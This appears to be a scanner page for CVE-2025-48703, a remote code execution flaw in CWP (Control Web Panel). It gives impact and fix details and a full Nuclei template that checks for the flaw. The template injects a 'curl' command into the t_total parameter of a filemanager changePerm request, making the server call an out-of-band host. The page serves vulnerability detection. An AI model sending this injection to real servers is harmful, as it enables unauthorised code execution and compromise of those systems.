CWP (Control Web Panel) < 0.9.8.1205 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2025-11-04; known to be used by ransomware.

criticalseverity

9CVSS score

99.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

CWP (Control Web Panel) < 0.9.8.1205 contains a remote code execution caused by shell metacharacters in the t_total parameter in filemanager changePerm request, letting unauthenticated attackers execute code remotely, exploit requires knowledge of a valid non-root username.

Impact

Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.

Fix

Update to version 0.9.8.1205 or later.

How to confirm it

Send: GET /login/index.php
Positive when: status_code == 200 and contains_all(body, 'Control WebPanel', 'cwp')
Send: POST /{{username}}/index.php?module=filemanager&acc=changePerm
Positive when: contains in interactsh_protocol "dns" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2025-48703 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-48703

info:
  name: CWP (Control Web Panel) < 0.9.8.1205 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    CWP (Control Web Panel) < 0.9.8.1205 contains a remote code execution caused by shell metacharacters in the t_total parameter in filemanager changePerm request, letting unauthenticated attackers execute code remotely, exploit requires knowledge of a valid non-root username.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Update to version 0.9.8.1205 or later.
  reference:
    - https://fenrisk.com/rce-centos-webpanel
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48703
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2025-48703
    epss-score: 0.99655
    epss-percentile: 0.99949
    cwe-id: CWE-78
  metadata:
    verified: false
    shodan-query: 'Server: cwpsrv'
  tags: cve,cve2025,cwp,cwpsrv,rce,intrusive,file-upload,oast,oob,vkev,kev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'Control WebPanel', 'cwp')"
        condition: and
        internal: true

  - raw:
      - |
        POST /{{username}}/index.php?module=filemanager&acc=changePerm HTTP/1.1
        Host: {{hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb

        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb
        Content-Disposition: form-data; name="fileName"

        .bashrc
        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb
        Content-Disposition: form-data; name="currentPath"

        /home/{{username}}
        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb
        Content-Disposition: form-data; name="recursive"


        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb
        Content-Disposition: form-data; name="t_total"

        curl {{interactsh-url}}
        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from